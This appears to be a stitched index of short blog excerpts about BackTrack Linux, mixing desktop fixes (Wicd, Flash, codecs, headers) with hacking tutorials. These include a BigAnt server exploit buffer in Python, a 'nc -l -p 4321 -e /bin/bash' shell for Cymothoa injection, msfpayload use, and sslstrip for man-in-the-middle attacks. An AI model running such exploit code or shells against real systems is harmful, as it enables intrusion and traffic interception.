Wicd Applet in Backtrack

All of you who had installed backtrack would notice that at default wicd network manager applet won't shown in the panel. Well this won't affect the stability of the system but it would be quite annoying when you have to open it from the main menu everytime you want to connect to a WiFi network.

Follow this steps to fix it.

- Click System > Preferences > Startup Application

MSFpayload & MSFencode

Again, in this post I'll explain some of the metasploit features..  :)

- MsfPayload

msfpayload is the metasploit tool to generate a payload for the exploit. Its function is the same as msfweb that I use in my other posts, but this tool is in console, so its rather difficult for newbies to use. But with regular training, this tool is better than msfweb because it greatly save time and RAM space. 

# msfpayload -h

Search for "Bad Characters"

In my post about exploiting BigAnt server, when generating payload I'm entering 0x20 and 0x25 as bad character. How to search for a bad character in the application that will be exploited? Here's the way to do it. The application that will be used is still BigAnt server, but I think the method to find the bad character is the same in all aplication. This knowledge is essential because without entering the right bad character, our payload won't work properly as we wish.

Lets begin..  :D

- Use this fuzzer as the starting point.

Fuzzer:

#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

Injecting Cymothoa to Ubuntu using Netcat

So, in my other post we've been learned how to inject cymothoa to ubuntu using the web server to transfer the cymothoa. In this post I'll try to explain how to transfer and injecting cymothoa using Netcat.

Okay, lets get started.

1. Start up your ubuntu.

2. Start the nc server on the ubuntu

# nc -l -p 4321 -e /bin/bash

Install Flash Player in Backtrack

Greetings..

I'm sure that the reason why you arrive here is because you want to watch some video in Backtrack's Firefox, But unfortunatelly your flash player didn't work properly because it need to be updated.  :P

Here's a way to make your Firefox can play flash :

1. First, we need to remove the current installed version. Perform these commands in Terminal.

# apt-get purge flashplugin-nonfree flashplugin-installer gnash gnash-common mozilla-plugin-gnash swfdec-mozilla
# rm -f /usr/lib/firefox/plugins/*flash*
# rm -f /usr/lib/firefox-addons/plugins/*flash*
# rm -f /usr/lib/mozilla/plugins/*flash*
# rm -f ~/.mozilla/plugins/*flash*so
# rm -rfd /usr/lib/nspluginwrapper

Multimedia in Backtrack

As you noticed that Backtrack didn't come with standard music and video player like general Linux. 
But if you want to install it, just follow these steps 


First, we need to install restricted extras

# apt-get install ubuntu-restricted-extras kubuntu-restricted-extras

Then, install mplayer and some codecs

# apt-get install gstreamer0.10-ffmpeg gstreamer0.10-fluendo-mp3 gstreamer0.10-plugins-bad gstreamer0.10-plugins-ugly mplayer

After that you choose yourself what software that would handle your music and video. There are a lot of good music and video player for linux out there.
Here are some of them :

Linux Header

Anyone got problem make or make install a software package on Backtrack?

If that happened, maybe you not yet installed Linux Header or Kernel Header.

Linux headers are the header files used by Linux system to compile the kernel and othe applications which depend on the symbol or structures defined in these header files, or we can say in other word linux header is like kernel modules.

An example can be wlan card drivers. If the driver does not have a binary matching with the running kernel, the driver needs to be compiled with the header file.

To configure Linux-header in order to enable us make and make install a package in Backtrack just follow these simple step.

Wicd D-bus Error Fix

Wicd is the default GUI Network Manager for Backtrack 5. 

The problem appear when we open Wicd. Before the main wicd window open there always appear an error window showing that wicd can't connect to D-bus interface. 

Actually it don't have any effect in the connection, but still. It is very disturbing.

So, anyone got the same problem?

Here's a way to fix it.

Installing sslstrip

Note that Sslstrip in Backtrack 5 and 5R1 (both Gnome and KDE version) is encountered some error. It displayed in the main menu but when you try to use it, it would say that sslstrip is not installed.

Sslstrip is a tool required to do a MITM(man in the middle) attack, especially at https protocol. Together with ettercap, driftnet, and urlsnarf this tool can be a powerfull sniffing software.

So here's a way to fix that error

1. Download the file

# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz